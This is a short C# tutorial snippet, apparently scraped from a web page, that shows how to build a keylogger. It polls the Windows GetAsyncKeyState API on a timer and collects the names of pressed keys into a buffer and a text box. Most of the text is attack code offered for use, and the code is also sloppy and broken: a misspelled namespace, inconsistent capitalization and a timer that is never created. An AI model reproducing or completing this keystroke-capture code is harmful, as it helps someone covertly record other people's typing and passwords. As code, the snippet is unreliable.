C#

<br />
/*you need first to interoperate dll found in the system itself so you need to call the namespace for handling this  */<br />
<br />
system.Runtime.InteroServices;<br />
/*<br />
Then you need to call the function of keys and override it<br />
*/<br />
[Dllimport("User32.dll")]<br />
Public static extern short GetAsyncKeyState(System.Windows.forms.Keys vkey);<br />
[Dllimport("User32.dll")]<br />
public static extern short GetAsyncKeyState(System.Int32 vkeys);<br />
/* now we called the User32.dll found in your system32 of your current windows Os and called the function that handling the keys pressed from the keyboard to get their values and iterate through system Asynchronously */<br />
//You need to initialize timer to Listen to keys pressing <br />
//As the following<br />
System.Timers.Timer mytimer;<br />
//and initialize new keybuffer to store the keyvalue in it<br />
System.String KeyBuffer;<br />
<br />
//Initialize the event handler model of the timer to listen<br />
//to the keypressing as the following<br />
Private void mytimer_Elapsed(object o , System.Timers.ElapsedEventargs args)<br />
{<br />
foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))<br />
{<br />
if(GetAsyncKeyState(i) == -32767)<br />
{<br />
//here we store the key Value in the keybuffer string<br />
//we initialized At the begining.<br />
keybuffer += Enum.GetName(typeof(keys),i);<br />
TextBox.Text += KeyBuffer;<br />
Keybuffer = "";<br />
}<br />
}<br />
}<br />
//in the constructor add the delegate of this event <br />
public YourKeyLogger()<br />
{<br />
mytimer.Elapsed += new ElapsedEventHandler(this.mytimer_elapsed);<br />
}<br />